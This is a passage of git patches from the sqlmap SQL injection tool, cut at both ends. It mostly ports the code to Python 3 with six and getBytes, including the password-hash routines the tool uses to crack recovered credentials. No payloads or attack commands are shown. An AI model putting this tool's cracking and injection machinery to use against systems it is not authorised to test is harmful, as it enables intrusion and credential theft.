password.encode(UNICODE_ENCODING) + password = getBytes(password) return "{SHA}%s" % base64.b64encode(sha1(password).digest()) @@ -292,11 +283,8 @@ def ssha_passwd(password, salt, **kwargs): '{SSHA}mU1HPTvnmoXOhE4ROHP6sWfbfoRzYWx0' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) - - if isinstance(salt, six.text_type): - salt = salt.encode(UNICODE_ENCODING) + password = getBytes(password) + salt = getBytes(salt) return "{SSHA}%s" % base64.b64encode(sha1(password + salt).digest() + salt) @@ -306,11 +294,8 @@ def ssha256_passwd(password, salt, **kwargs): '{SSHA256}hhubsLrO/Aje9F/kJrgv5ZLE40UmTrVWvI7Dt6InP99zYWx0' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) - - if isinstance(salt, six.text_type): - salt = salt.encode(UNICODE_ENCODING) + password = getBytes(password) + salt = getBytes(salt) return "{SSHA256}%s" % base64.b64encode(sha256(password + salt).digest() + salt) @@ -320,11 +305,8 @@ def ssha512_passwd(password, salt, **kwargs): '{SSHA512}mCUSLfPMhXCQOJl9WHW/QMn9v9sjq7Ht/Wk7iVau8vLOfh+PeynkGMikqIE8sStFd0khdfcCD8xZmC6UyjTxsHNhbHQ=' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) - - if isinstance(salt, six.text_type): - salt = salt.encode(UNICODE_ENCODING) + password = getBytes(password) + salt = getBytes(salt) return "{SSHA512}%s" % base64.b64encode(sha512(password + salt).digest() + salt) @@ -334,8 +316,7 @@ def sha224_generic_passwd(password, uppercase=False): '648db6019764b598f75ab6b7616d2e82563a00eb1531680e19ac4c6f' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) + password = getBytes(password) retVal = sha224(password).hexdigest() @@ -347,8 +328,7 @@ def sha256_generic_passwd(password, uppercase=False): '13d249f2cb4127b40cfa757866850278793f814ded3c587fe5889e889a7a9f6c' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) + password = getBytes(password) retVal = sha256(password).hexdigest() @@ -360,8 +340,7 @@ def sha384_generic_passwd(password, uppercase=False): '6823546e56adf46849343be991d4b1be9b432e42ed1b4bb90635a0e4b930e49b9ca007bc3e04bf0a4e0df6f1f82769bf' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) + password = getBytes(password) retVal = sha384(password).hexdigest() @@ -373,8 +352,7 @@ def sha512_generic_passwd(password, uppercase=False): '78ddc8555bb1677ff5af75ba5fc02cb30bb592b0610277ae15055e189b77fe3fda496e5027a3d99ec85d54941adee1cc174b50438fdc21d82d0a79f85b58cf44' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) + password = getBytes(password) retVal = sha512(password).hexdigest() @@ -392,11 +370,8 @@ def crypt_generic_passwd(password, salt, **kwargs): 'rl.3StKT.4T8M' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) - - if isinstance(salt, six.text_type): - salt = salt.encode(UNICODE_ENCODING) + password = getBytes(password) + salt = getBytes(salt) return crypt(password, salt) @@ -419,14 +394,9 @@ def _encode64(value, count): return output - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) - - if isinstance(magic, six.text_type): - magic = magic.encode(UNICODE_ENCODING) - - if isinstance(salt, six.text_type): - salt = salt.encode(UNICODE_ENCODING) + password = getBytes(password) + magic = getBytes(magic) + salt = getBytes(salt) salt = salt[:8] ctx = password + magic + salt @@ -486,11 +456,8 @@ def joomla_passwd(password, salt, **kwargs): 'e3d5794da74e917637332e0d21b76328:6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) - - if isinstance(salt, six.text_type): - salt = salt.encode(UNICODE_ENCODING) + password = getBytes(password) + salt = getBytes(salt) return "%s:%s" % (md5("%s%s" % (password, salt)).hexdigest(), salt) @@ -502,11 +469,8 @@ def django_md5_passwd(password, salt, **kwargs): 'md5$salt$972141bcbcb6a0acc96e92309175b3c5' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) - - if isinstance(salt, six.text_type): - salt = salt.encode(UNICODE_ENCODING) + password = getBytes(password) + salt = getBytes(salt) return "md5$%s$%s" % (salt, md5("%s%s" % (salt, password)).hexdigest()) @@ -518,11 +482,8 @@ def django_sha1_passwd(password, salt, **kwargs): 'sha1$salt$6ce0e522aba69d8baa873f01420fccd0250fc5b2' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) - - if isinstance(salt, six.text_type): - salt = salt.encode(UNICODE_ENCODING) + password = getBytes(password) + salt = getBytes(salt) return "sha1$%s$%s" % (salt, sha1("%s%s" % (salt, password)).hexdigest()) @@ -534,11 +495,8 @@ def vbulletin_passwd(password, salt, **kwargs): '85c4d8ea77ebef2236fb7e9d24ba9482:salt' """ - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) - - if isinstance(salt, six.text_type): - salt = salt.encode(UNICODE_ENCODING) + password = getBytes(password) + salt = getBytes(salt) return "%s:%s" % (md5("%s%s" % (md5(password).hexdigest(), salt)).hexdigest(), salt) @@ -583,8 +541,7 @@ def _encode64(input_, count): return output - if isinstance(password, six.text_type): - password = password.encode(UNICODE_ENCODING) + password = getBytes(password) cipher = md5(salt) cipher.update(password) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index d0189f7256d..2f415383a69 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -11,6 +11,7 @@ import threading import time +from lib.core.common import getBytes from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import serializeObject @@ -23,9 +24,9 @@ from lib.core.settings import HASHDB_FLUSH_RETRIES from lib.core.settings import HASHDB_FLUSH_THRESHOLD from lib.core.settings import HASHDB_RETRIEVE_RETRIES -from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadName +from thirdparty import six class HashDB(object): def __init__(self, filepath): @@ -67,7 +68,7 @@ def close(self): @staticmethod def hashKey(key): - key = key.encode(UNICODE_ENCODING) if isinstance(key, unicode) else repr(key) + key = getBytes(key if isinstance(key, six.text_type) else repr(key)) retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff # Reference: http://stackoverflow.com/a/4448400 return retVal From bb7bd51d94fc59dbf6a5f6837f8e34d07319d6d9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 19 Apr 2019 11:24:34 +0200 Subject: [PATCH 237/800] Some more DREI stuff --- extra/safe2bin/safe2bin.py | 11 ++-- extra/shutils/pyflakes.sh | 2 +- lib/controller/controller.py | 2 +- lib/core/common.py | 41 ++++++++++----- lib/core/dump.py | 8 +-- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/core/target.py | 5 +- lib/request/basic.py | 11 ++-- lib/request/comparison.py | 10 ++-- lib/request/inject.py | 2 +- lib/utils/crawler.py | 3 +- plugins/dbms/sqlite/syntax.py | 4 +- thirdparty/beautifulsoup/beautifulsoup.py | 61 +++++++++++------------ thirdparty/multipart/multipartpost.py | 1 - 15 files changed, 94 insertions(+), 71 deletions(-) diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py index 6ccd9c1fbc0..eb0f360cd9d 100644 --- a/extra/safe2bin/safe2bin.py +++ b/extra/safe2bin/safe2bin.py @@ -20,6 +20,9 @@ if sys.version_info >= (3, 0): xrange = range + text_type = str +else: + text_type = unicode # Regex used for recognition of hex encoded characters HEX_ENCODED_CHAR_REGEX = r"(?P\\x[0-9A-Fa-f]{2})" @@ -52,14 +55,14 @@ def safecharencode(value): retVal = value if isinstance(value, basestring): - if any([_ not in SAFE_CHARS for _ in value]): + if any(_ not in SAFE_CHARS for _ in value): retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER) retVal = retVal.replace('\\', SLASH_MARKER) for char in SAFE_ENCODE_SLASH_REPLACEMENTS: retVal = retVal.replace(char, repr(char).strip('\'')) - retVal = reduce(lambda x, y: x + (y if (y in string.printable or isinstance(value, unicode) and ord(y) >= 160) else '\\x%02x' % ord(y)), retVal, (unicode if isinstance(value, unicode) else str)()) + retVal = reduce(lambda x, y: x + (y if (y in string.printable or isinstance(value, text_type) and ord(y) >= 160) else '\\x%02x' % ord(y)), retVal, type(value)()) retVal = retVal.replace(SLASH_MARKER, "\\\\") retVal = retVal.replace(HEX_ENCODED_PREFIX_MARKER, HEX_ENCODED_PREFIX) @@ -81,7 +84,7 @@ def safechardecode(value, binary=False): while True: match = re.search(HEX_ENCODED_CHAR_REGEX, retVal) if match: - retVal = retVal.replace(match.group("result"), (unichr if isinstance(value, unicode) else chr)(ord(binascii.unhexlify(match.group("result").lstrip("\\x"))))) + retVal = retVal.replace(match.group("result"), (unichr if isinstance(value, text_type) else chr)(ord(binascii.unhexlify(match.group("result").lstrip("\\x"))))) else: break @@ -91,7 +94,7 @@ def safechardecode(value, binary=False): retVal = retVal.replace(SLASH_MARKER, '\\') if binary: - if isinstance(retVal, unicode): + if isinstance(retVal, text_type): retVal = retVal.encode("utf8") elif isinstance(value, (list, tuple)): diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index ac3cfd8c5ef..0938d5e0873 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -4,4 +4,4 @@ # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) -find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'" diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 68bd04ecd10..7b522771386 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -333,7 +333,7 @@ def start(): testSqlInj = False - if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): + if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)): for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) diff --git a/lib/core/common.py b/lib/core/common.py index 1aaa999ca73..592bfa12379 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -882,6 +882,16 @@ def singleTimeLogMessage(message, level=logging.INFO, flag=None): logger.log(level, message) def boldifyMessage(message): + """ + Sets ANSI bold marking on entire message if parts found in predefined BOLD_PATTERNS + + >>> boldifyMessage("Hello World") + 'Hello World' + + >>> boldifyMessage("GET parameter id is not injectable") + '\\x1b[1mGET parameter id is not injectable\\x1b[0m' + """ + retVal = message if any(_ in message for _ in BOLD_PATTERNS): @@ -890,6 +900,13 @@ def boldifyMessage(message): return retVal def setColor(message, color=None, bold=False, level=None): + """ + Sets ANSI color codes + + >>> setColor("Hello World", "red") + '\\x1b[31mHello World\\x1b[0m' + """ + retVal = message level = level or extractRegexResult(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) @@ -933,7 +950,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status= if multiThreadMode: logging._acquireLock() - if isinstance(data, unicode): + if isinstance(data, six.text_type): message = stdoutencode(data) else: message = data @@ -1840,7 +1857,7 @@ def safeFilepathEncode(filepath): retVal = filepath - if filepath and isinstance(filepath, unicode): + if filepath and isinstance(filepath, six.text_type): retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING) return retVal @@ -1927,7 +1944,7 @@ def getFilteredPageContent(page, onlyText=True, split=" "): retVal = page # only if the page's charset has been successfully identified - if isinstance(page, unicode): + if isinstance(page, six.text_type): retVal = re.sub(r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) retVal = re.sub(r"%s{2,}" % split, split, retVal) retVal = htmlunescape(retVal.strip().strip(split)) @@ -1945,7 +1962,7 @@ def getPageWordSet(page): retVal = set() # only if the page's charset has been successfully identified - if isinstance(page, unicode): + if isinstance(page, six.text_type): retVal = set(_.group(0) for _ in re.finditer(r"\w+", getFilteredPageContent(page))) return retVal @@ -2430,7 +2447,7 @@ def getUnicode(value, encoding=None, noneToNull=False): except UnicodeDecodeError: return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances -def getBytes(value, encoding=UNICODE_ENCODING): +def getBytes(value, encoding=UNICODE_ENCODING, errors="strict"): """ Returns byte representation of provided Unicode value @@ -2445,11 +2462,11 @@ def getBytes(value, encoding=UNICODE_ENCODING): for char in xrange(0xF0000, 0xF00FF + 1): value = value.replace(unichr(char), "%s%02x" % (SAFE_HEX_MARKER, char - 0xF0000)) - retVal = value.encode(encoding) + retVal = value.encode(encoding, errors) retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: _.group(1).decode("hex"), retVal) else: - retVal = value.encode(encoding) + retVal = value.encode(encoding, errors) retVal = re.sub(r"\\x([0-9a-f]{2})", lambda _: _.group(1).decode("hex"), retVal) return retVal @@ -3694,7 +3711,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False): retVal = content try: - if all((content, payload)) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode: + if all((content, payload)) and isinstance(content, six.text_type) and kb.reflectiveMechanism and not kb.heuristicMode: def _(value): while 2 * REFLECTED_REPLACEMENT_REGEX in value: value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) @@ -3786,7 +3803,7 @@ def normalizeUnicode(value): 'sucuraj' """ - return unicodedata.normalize("NFKD", value).encode("ascii", "ignore") if isinstance(value, unicode) else value + return unicodedata.normalize("NFKD", value).encode("ascii", "ignore") if isinstance(value, six.text_type) else value def safeSQLIdentificatorNaming(name, isTable=False): """ @@ -4105,7 +4122,7 @@ def quote(s, safe): # _urllib.parse.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". if getUnicode(s).encode("ascii", "replace") != s or forceQuote: - return _urllib.parse.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe) + return _urllib.parse.quote(s.encode(UNICODE_ENCODING) if isinstance(s, six.text_type) else s, safe=safe) return s username = quote(parts.username, '') @@ -4459,8 +4476,8 @@ def _(value): retVal = retVal.decode("utf-16-be") except UnicodeDecodeError: pass - if not isinstance(retVal, unicode): - retVal = getUnicode(retVal, conf.encoding or "utf8") + if not isinstance(retVal, six.text_type): + retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING) return retVal diff --git a/lib/core/dump.py b/lib/core/dump.py index e20edd14b0a..aa7cd7b7733 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -242,7 +242,7 @@ def dbTables(self, dbTables): if table and isListLike(table): table = table[0] - maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or unicode(table)))) + maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or getUnicode(table)))) lines = "-" * (int(maxlength) + 2) @@ -263,7 +263,7 @@ def dbTables(self, dbTables): table = table[0] table = unsafeSQLIdentificatorNaming(table) - blank = " " * (maxlength - len(normalizeUnicode(table) or unicode(table))) + blank = " " * (maxlength - len(normalizeUnicode(table) or getUnicode(table))) self._write("| %s%s |" % (table, blank)) self._write("+%s+\n" % lines) @@ -358,7 +358,7 @@ def dbTablesCount(self, dbTables): for ctables in dbTables.values(): for tables in ctables.values(): for table in tables: - maxlength1 = max(maxlength1, len(normalizeUnicode(table) or unicode(table))) + maxlength1 = max(maxlength1, len(normalizeUnicode(table) or getUnicode(table))) for db, counts in dbTables.items(): self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") @@ -384,7 +384,7 @@ def dbTablesCount(self, dbTables): tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for table in tables: - blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table))) + blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or getUnicode(table))) blank2 = " " * (maxlength2 - len(str(count))) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) diff --git a/lib/core/option.py b/lib/core/option.py index 6d256138133..1c53c07d320 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1716,7 +1716,7 @@ def _cleanupOptions(): except re.error: conf.csrfToken = re.escape(conf.csrfToken) finally: - class _(unicode): + class _(six.text_type): pass conf.csrfToken = _(conf.csrfToken) conf.csrfToken._original = original diff --git a/lib/core/settings.py b/lib/core/settings.py index f3f2ddcc6f1..6781020258e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.28" +VERSION = "1.3.4.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index c6522f4905e..995fe95ea79 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -73,6 +73,7 @@ from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX from lib.utils.hashdb import HashDB +from thirdparty import six from thirdparty.odict import OrderedDict from thirdparty.six.moves import urllib as _urllib @@ -409,7 +410,7 @@ def process(match, repl): message += "Do you want sqlmap to automatically update it in further requests? [y/N] " if readInput(message, default='N', boolean=True): - class _(unicode): + class _(six.text_type): pass conf.csrfToken = _(re.escape(getUnicode(parameter))) conf.csrfToken._original = getUnicode(parameter) @@ -712,7 +713,7 @@ def initTargetEnv(): _setDBMS() if conf.data: - class _(unicode): + class _(six.text_type): pass kb.postUrlEncode = True diff --git a/lib/request/basic.py b/lib/request/basic.py index 2f112d6ed88..cd2a66cbb0d 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -17,6 +17,7 @@ from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult from lib.core.common import filterNone +from lib.core.common import getBytes from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import getUnicode @@ -42,11 +43,11 @@ from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT from lib.core.settings import SELECT_FROM_TABLE_REGEX -from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VIEWSTATE_REGEX from lib.parse.headers import headersParser from lib.parse.html import htmlParser from lib.utils.htmlentities import htmlEntities +from thirdparty import six from thirdparty.chardet import detect from thirdparty.odict import OrderedDict @@ -219,13 +220,13 @@ def checkCharEncoding(encoding, warn=True): # Reference: http://www.iana.org/assignments/character-sets # Reference: http://docs.python.org/library/codecs.html try: - codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding) - except (LookupError, ValueError): + codecs.lookup(encoding) + except: encoding = None if encoding: try: - unicode(randomStr(), encoding) + six.text_type(getBytes(randomStr()), encoding) except: if warn: warnMsg = "invalid web page charset '%s'" % encoding @@ -313,7 +314,7 @@ def decodePage(page, contentEncoding, contentType): kb.pageEncoding = conf.encoding # can't do for all responses because we need to support binary files too - if not isinstance(page, unicode) and "text/" in contentType: + if isinstance(page, six.binary_type) and "text/" in contentType: # e.g. Ãëàâà if "&#" in page: page = re.sub(r"&#x([0-9a-f]{1,2});", lambda _: (_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)).decode("hex"), page) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 9b8a9cfae3e..3fc717d7474 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -8,6 +8,7 @@ import re from lib.core.common import extractRegexResult +from lib.core.common import getBytes from lib.core.common import getFilteredPageContent from lib.core.common import listToStrValue from lib.core.common import removeDynamicContent @@ -28,6 +29,7 @@ from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData +from thirdparty import six def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) @@ -105,10 +107,10 @@ def _comparison(page, headers, code, getRatioValue, pageLength): else: # Preventing "Unicode equal comparison failed to convert both arguments to Unicode" # (e.g. if one page is PDF and the other is HTML) - if isinstance(seqMatcher.a, str) and isinstance(page, unicode): - page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") - elif isinstance(seqMatcher.a, unicode) and isinstance(page, str): - seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") + if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type): + page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") + elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type): + seqMatcher.a = getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") if any(_ is None for _ in (page, seqMatcher.a)): return None diff --git a/lib/request/inject.py b/lib/request/inject.py index eddab9b7f7f..0715f54ee3e 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -486,7 +486,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser singleTimeWarnMessage(warnMsg) # Dirty patch (safe-encoded unicode characters) - if isinstance(value, unicode) and "\\x" in value: + if isinstance(value, six.text_type) and "\\x" in value: try: candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) if "\\x" not in candidate: diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 7a86a947dc2..8f104928cef 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -32,6 +32,7 @@ from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request +from thirdparty import six from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib @@ -79,7 +80,7 @@ def crawlThread(): if not kb.threadContinue: break - if isinstance(content, unicode): + if isinstance(content, six.text_type): try: match = re.search(r"(?si)]*>(.+)", content) if match: diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 5a39528e19b..09cc7cc7c83 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -7,8 +7,8 @@ import binascii +from lib.core.common import getBytes from lib.core.common import isDBMSVersionAtLeast -from lib.core.settings import UNICODE_ENCODING from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -28,7 +28,7 @@ def escape(expression, quote=True): def escaper(value): # Reference: http://stackoverflow.com/questions/3444335/how-do-i-quote-a-utf-8-string-literal-in-sqlite3 - return "CAST(X'%s' AS TEXT)" % binascii.hexlify(value.encode(UNICODE_ENCODING) if isinstance(value, unicode) else value) + return "CAST(X'%s' AS TEXT)" % binascii.hexlify(getBytes(value)) retVal = expression diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index c3734494fe2..c02e1c72ece 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -91,6 +91,11 @@ if sys.version_info >= (3, 0): xrange = range + text_type = str + binary_type = bytes +else: + text_type = unicode + binary_type = str try: from htmlentitydefs import name2codepoint @@ -434,19 +439,13 @@ def substituteEncoding(self, str, encoding=None): def toEncoding(self, s, encoding=None): """Encodes an object to a string in some encoding, or to Unicode. .""" - if isinstance(s, unicode): + if isinstance(s, text_type): if encoding: s = s.encode(encoding) - elif isinstance(s, str): - if encoding: - s = s.encode(encoding) - else: - s = unicode(s) + elif isinstance(s, binary_type): + s = s.encode(encoding or "utf8") else: - if encoding: - s = self.toEncoding(str(s), encoding) - else: - s = unicode(s) + s = self.toEncoding(str(s), encoding or "utf8") return s BARE_AMPERSAND_OR_BRACKET = re.compile("([<>]|" @@ -459,7 +458,7 @@ def _sub_entity(self, x): return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";" -class NavigableString(unicode, PageElement): +class NavigableString(text_type, PageElement): def __new__(cls, value): """Create a new NavigableString. @@ -469,9 +468,9 @@ def __new__(cls, value): passed in to the superclass's __new__ or the superclass won't know how to handle non-ASCII characters. """ - if isinstance(value, unicode): - return unicode.__new__(cls, value) - return unicode.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) + if isinstance(value, text_type): + return text_type.__new__(cls, value) + return text_type.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) def __getnewargs__(self): return (NavigableString.__str__(self),) @@ -1006,7 +1005,7 @@ def _matches(self, markup, matchAgainst): if isinstance(markup, Tag): markup = markup.name if markup and not isinstance(markup, basestring): - markup = unicode(markup) + markup = text_type(markup) #Now we know that chunk is either a string, or None. if hasattr(matchAgainst, 'match'): # It's a regexp object. @@ -1016,8 +1015,8 @@ def _matches(self, markup, matchAgainst): elif hasattr(matchAgainst, 'items'): result = markup.has_key(matchAgainst) elif matchAgainst and isinstance(markup, basestring): - if isinstance(markup, unicode): - matchAgainst = unicode(matchAgainst) + if isinstance(markup, text_type): + matchAgainst = text_type(matchAgainst) else: matchAgainst = str(matchAgainst) @@ -1181,7 +1180,7 @@ def convert_charref(self, name): def _feed(self, inDocumentEncoding=None, isHTML=False): # Convert the document to Unicode. markup = self.markup - if isinstance(markup, unicode): + if isinstance(markup, text_type): if not hasattr(self, 'originalEncoding'): self.originalEncoding = None else: @@ -1792,9 +1791,9 @@ def __init__(self, markup, overrideEncodings=[], self._detectEncoding(markup, isHTML) self.smartQuotesTo = smartQuotesTo self.triedEncodings = [] - if markup == '' or isinstance(markup, unicode): + if markup == '' or isinstance(markup, text_type): self.originalEncoding = None - self.unicode = unicode(markup) + self.unicode = text_type(markup) return u = None @@ -1807,7 +1806,7 @@ def __init__(self, markup, overrideEncodings=[], if u: break # If no luck and we have auto-detection library, try that: - if not u and chardet and not isinstance(self.markup, unicode): + if not u and chardet and not isinstance(self.markup, text_type): u = self._convertFrom(chardet.detect(self.markup)['encoding']) # As a last resort, try utf-8 and windows-1252: @@ -1880,7 +1879,7 @@ def _toUnicode(self, data, encoding): elif data[:4] == '\xff\xfe\x00\x00': encoding = 'utf-32le' data = data[4:] - newdata = unicode(data, encoding) + newdata = text_type(data, encoding) return newdata def _detectEncoding(self, xml_data, isHTML=False): @@ -1893,41 +1892,41 @@ def _detectEncoding(self, xml_data, isHTML=False): elif xml_data[:4] == '\x00\x3c\x00\x3f': # UTF-16BE sniffed_xml_encoding = 'utf-16be' - xml_data = unicode(xml_data, 'utf-16be').encode('utf-8') + xml_data = text_type(xml_data, 'utf-16be').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xfe\xff') \ and (xml_data[2:4] != '\x00\x00'): # UTF-16BE with BOM sniffed_xml_encoding = 'utf-16be' - xml_data = unicode(xml_data[2:], 'utf-16be').encode('utf-8') + xml_data = text_type(xml_data[2:], 'utf-16be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x3f\x00': # UTF-16LE sniffed_xml_encoding = 'utf-16le' - xml_data = unicode(xml_data, 'utf-16le').encode('utf-8') + xml_data = text_type(xml_data, 'utf-16le').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xff\xfe') and \ (xml_data[2:4] != '\x00\x00'): # UTF-16LE with BOM sniffed_xml_encoding = 'utf-16le' - xml_data = unicode(xml_data[2:], 'utf-16le').encode('utf-8') + xml_data = text_type(xml_data[2:], 'utf-16le').encode('utf-8') elif xml_data[:4] == '\x00\x00\x00\x3c': # UTF-32BE sniffed_xml_encoding = 'utf-32be' - xml_data = unicode(xml_data, 'utf-32be').encode('utf-8') + xml_data = text_type(xml_data, 'utf-32be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x00\x00': # UTF-32LE sniffed_xml_encoding = 'utf-32le' - xml_data = unicode(xml_data, 'utf-32le').encode('utf-8') + xml_data = text_type(xml_data, 'utf-32le').encode('utf-8') elif xml_data[:4] == '\x00\x00\xfe\xff': # UTF-32BE with BOM sniffed_xml_encoding = 'utf-32be' - xml_data = unicode(xml_data[4:], 'utf-32be').encode('utf-8') + xml_data = text_type(xml_data[4:], 'utf-32be').encode('utf-8') elif xml_data[:4] == '\xff\xfe\x00\x00': # UTF-32LE with BOM sniffed_xml_encoding = 'utf-32le' - xml_data = unicode(xml_data[4:], 'utf-32le').encode('utf-8') + xml_data = text_type(xml_data[4:], 'utf-32le').encode('utf-8') elif xml_data[:3] == '\xef\xbb\xbf': # UTF-8 with BOM sniffed_xml_encoding = 'utf-8' - xml_data = unicode(xml_data[3:], 'utf-8').encode('utf-8') + xml_data = text_type(xml_data[3:], 'utf-8').encode('utf-8') else: sniffed_xml_encoding = 'ascii' pass diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index 61a3144a617..b2ff6c850ce 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -21,7 +21,6 @@ """ import io -import mimetools import mimetypes import os import stat From 10fe87fb4ef64c7ae2dcd620f92db1ec55e32bb4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: 